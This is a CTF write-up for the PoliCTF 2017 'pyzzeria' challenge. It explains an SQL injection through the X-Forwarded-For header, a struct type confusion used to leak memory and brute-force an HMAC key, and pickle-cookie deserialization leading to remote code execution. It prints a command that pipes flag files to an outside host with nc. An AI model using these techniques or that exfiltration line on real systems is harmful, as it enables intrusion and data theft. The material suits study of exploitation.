Polictf 2017 - pyzzeria
This is a writeup for a fun web(+pwn) challenge called ‘pyzzeria’ from this year’s Polictf.
Recon
We are presented with the following challenge description:
An evil pyzza-maker has come to town: he is terrorizing the population by putting pineapple in every pyzza he cooks. Nobody can't stop him as long as he is the only one knowing the secret to alter the recipe...
Our intel sources have identified his evil lab, but unfortunately the access seems restricted to his staff only. Can you help us save the Pyzza?
(Pineapple on pyzza is not that bad, get over it Italy :P)
Obviously the challenge heavily hints at python, so we kind of know what to expect. The initial webpage was just a static page:
Not much happening there. The only dynamic thing is a rate limiting that occurs if we submit a lot of requests:
You already tried too many times
After a while I wondered if they check the X-Forwarded-For
header to implement this rate limiting and indeed they did:
validate_ip() failure: illegal IP address string passed to inet_aton
But no matter what IP is put into the header, it would always generate this error. I got really stuck here until my teammate niklasb figured out that it is in fact a simple SQL injection:
Note:(The space after the IP address is actually required, otherwise it won’t pass inet_aton
and you won’t see a SQL error)
This would produce the following error, which let us also infer that it’s sqlite:
near ",": syntax error
It means they look up the IP address in some kind of whitelist. A simple ' or 1-- -
will then bypass the check and let us finally view the actual web application.
Web App
The web app has two functionalities. The first lets us create a pyzza:
Depending on the type of the pyzza you can either choose some ingredients or a leavening time. And once we have created a pyzza we obtain an order_code
which we can then use on the /oven
endpoint to cook a pyzza:
If we check the response headers of the pyzza creation, we will see a pyzza
cookie is set:
Decoding it yields:
M:Y3B5enphbWFyZ2hlcml0YQpQeXp6YU1hcmdoZXJpdGEKcDAKKFMnYzA1MGU0MDU5MmU3NDEwM2MyMTVkMWQ1ZTVkZDE2MjknCnAxCkkxMApTJ3BpbmVhcHBsZScKcDIKdHAzClJwNAou:c2a5ff46e1fac75879854717ba43cdff34a82b4cbc2374781b2b6f676559442b
The M
is the type of the pyzza (M
=Margherita, S
=Stuffed), the base64 is a serialized python object and the last part looks like an HMAC. Indeed it is, if we send an invalid signature the web app will complain:
That hints at a folder that was not yet known. Looking at /warehouse
, we will find a folder called dev
:
There are 4 python libraries that can be downloaded.
Python libs
The pyzza{error,margherita,stuffed}.so contain the class definitions for the three different types of pyzza: PyzzaMargherita, PyzzaStuffed and a mysterious PyzzaError. However, the most interesting things happen inside cuoco.so. First we notice a string !DUMMY__SECRET!
in the lib, this could be the flag or the HMAC key maybe.
In cook()
a pyzza is printed based on the provided type:
The pyzza
variable has type Pyzza *
. If the provided type does not match M
or S
a PyzzaError pyzza is allocated instead. Then depending on the type cook_margherita()
or cook_stuffed()
are called with pyzza
as parameter. Let’s take a look at the structure of PyzzaStuffed and PyzzaMargherita:
PyzzaStuffed:
char *order_code
char *ingredients
char *pineapple
PyzzaMargherita:
int age
char *order_code
char *pineapple
Notice the automatic addition of pineapples to each pizza! It does not serve any other purposes than angering Italians though, as far as I could tell.
The PyzzaMargherita has an int
as first element, whereas the PyzzaStuffed has a char pointer. Now if we take a look into what happens in cook_stuffed()
and cook_margherita()
we will see:
and
It creates a format string and then accesses members of the PyzzaStuffed or PyzzaMargherita object. Recall the cook()
function from above: these two functions are called by casting a Pyzza *
to PyzzaMargherita *
or PyzzaStuffed *
based on the type.
Type confusion
This can lead to a simple type confusion: If we print a PyzzaStuffed with cook_margherita()
, it will actually print the first struct member as an integer, thereby leaking the order_code
char pointer of the PyzzaStuffed. And the same thing works the other way round: Printing a PyzzaMargherita with cook_stuffed()
will interpret the age
of the PyzzaMargherita as a char pointer and print the string it points to.
To make this work we need to somehow make it use the wrong cook_*
function on the pyzza. Going back to the webapp again, we remember that the pyzza
cookie contained the type of the pyzza. The whole workflow of the /oven
endpoint seemed to work something like this:
- Takes the
pyzza
cookie and verifies the HMAC. - Unserializes the serialized pyzza in the cookie.
- Verifies that the
order_code
POST parameter that we need to provide actually matches theorder_code
of the unserialized pyzza. - Calls
Cuoco.cook(unserialized_pyzza, pyzza_type)
wherepyzza_type
comes from the cookie.
And indeed we can simply modify the pyzza type value in the cookie as it is not part of the HMAC message! Here’s the result of printing a PyzzaStuffed with cook_margherita()
, we can clearly see the leaked pointer (29024832 = 0x1bae240
):
[+] You ordered a 29024832 hour leaven Margherita [+]
[+] Checking your order code [+]
Now let’s just try to leak the same address by printing a PyzzaMargherita (with age 29024832) using cook_stuffed()
:
[+] Checking your order code [+]
[X] Sorry, order verification failed. [X]
!! The order_code you supply must match the one on the recipt !!
Hmm for some reason the order_code
we supplied as POST parameter was not accepted. But I made sure to supply the correct one?! Well yes, but look again what happens when a PyzzaMargherita is interpreted as a PyzzaStuffed and printed using the cook_stuffed()
function. Because of their different layouts:
- the PyzzaMargherita’s
age
parameter is interpreted as the PyzzaStuffed’sorder_code
parameter. and - the PyzzaMargherita’s
order_code
parameter is interpreted as the PyzzaStuffed’singredients
parameter.
So the string we want to leak has become the PyzzaStuffed’s order_code
. We need to provide the exact same string as POST parameter to pass the check. If we provide an incorrect one it will print the order verification failed
error. That reduces our leak primitive to a simple check of the form “is string X at address Y”.
To try and verify this we execute the following steps:
- Using a PyzzaStuffed leak a char pointer address, let’s call it
addr
. The string this pointer points to is theorder_code
of the PyzzaStuffed, let’s call itoc_stuffed
. - Using a PyzzaMargherita leak a string from the address
addr
, which is justoc_stuffed
. But sinceaddr
just became theorder_code
of the PyzzaMargherita (let’s call itoc_margherita
), we need to provideoc_stuffed
as a POST parameter instead ofoc_margherita
.
Doing so will result in:
[+] Checking your order code [+]
[+] Your pyzza (with extra pineapple :D) is ready, here is your recipt [+]
============
ingredients: 4134a03a6ab8b870faef0f59dc8a0a78
order: 89604d0d78308b5f0efad4e199e0cc15
Here 89604d0d78308b5f0efad4e199e0cc15 is oc_stuffed
and 4134a03a6ab8b870faef0f59dc8a0a78 is oc_margherita
.
Error pyzza!
One last problem remains: We can leak pointers now, but the pointers we leak point to the heap. They don’t help us to find an address from the cuoco.so, which is needed to calculate the address of the SECRET_STRING
. But there is also one .so we have not used yet: pyzzaerror.so! Remember, it is used in the Cuoco.cook()
method if an invalid pyzza type is provided and it actually loads the static string INVALID!
into its first field. This string lies in the cuoco.so and if we leak it, we can calculate the offset to the SECRET_STRING
.
But how can we create a PyzzaError and print it? If we check again the decompiled source code it will only create a PyzzaError if an invalid type is provided, but afterwards only print the pyzza if it has a valid type. The type is not touched between those two checks. But looking at the assembly we can notice that the first checks look like this:
0000000000001267 cmp eax, 4Dh
...
0000000000001270 cmp eax, 53h
...
whereas the checks after the allocation of the PyzzaError look like this:
00000000000011CC cmp al, 4Dh
...
00000000000011D0 cmp al, 53h
...
The second check only looks at the lower byte, so providing something like XM
as type will fail the first check and create a PyzzaError, but pass the second check and print the PyzzaError using the cook_margherita()
function using the cook_margherita()
function.
Putting it all together
So now we know the address of the SECRET_STRING
. We just have to leak it. Our leak primitive only works if we guess the whole string correctly. But we can start guessing at the last character and work our way backwards from there. Once we know the last char we go to the second-last and guess that one and so on, effectively bruteforcing it char by char. Here are the steps:
- Leak the
INVALID!
string address (addr_inv
) by providingXM
as type for a PyzzaStuffed. - Calculate the address of the secret string:
addr_ss = addr_inv - 68
. - Create a PyzzaMargherita with age
addr_ss+offset
, where offset starts at 14 (the secret length). - Bruteforce the correct char by trying to print the PyzzaMargherita until it won’t say
verification error
. Once the correct char is found, decrementoffset
and go to step 3.
Eventually we recovered the whole secret HMAC key 3y0y3y0y3y0y3!
. Having the HMAC key allows us to serialize any python object and send it inside the pyzza
cookie to be deserialized by the server. This provides an easy way to achieve RCE. A simple google search led us to this script and using the payload cat /*/*/*flag* | nc myserver 80
we obtained the flag:
flag{c0w4bung4_p1zz4T1M3}
This was a really fun challenge, thanks to the creators and see you next year again ;-)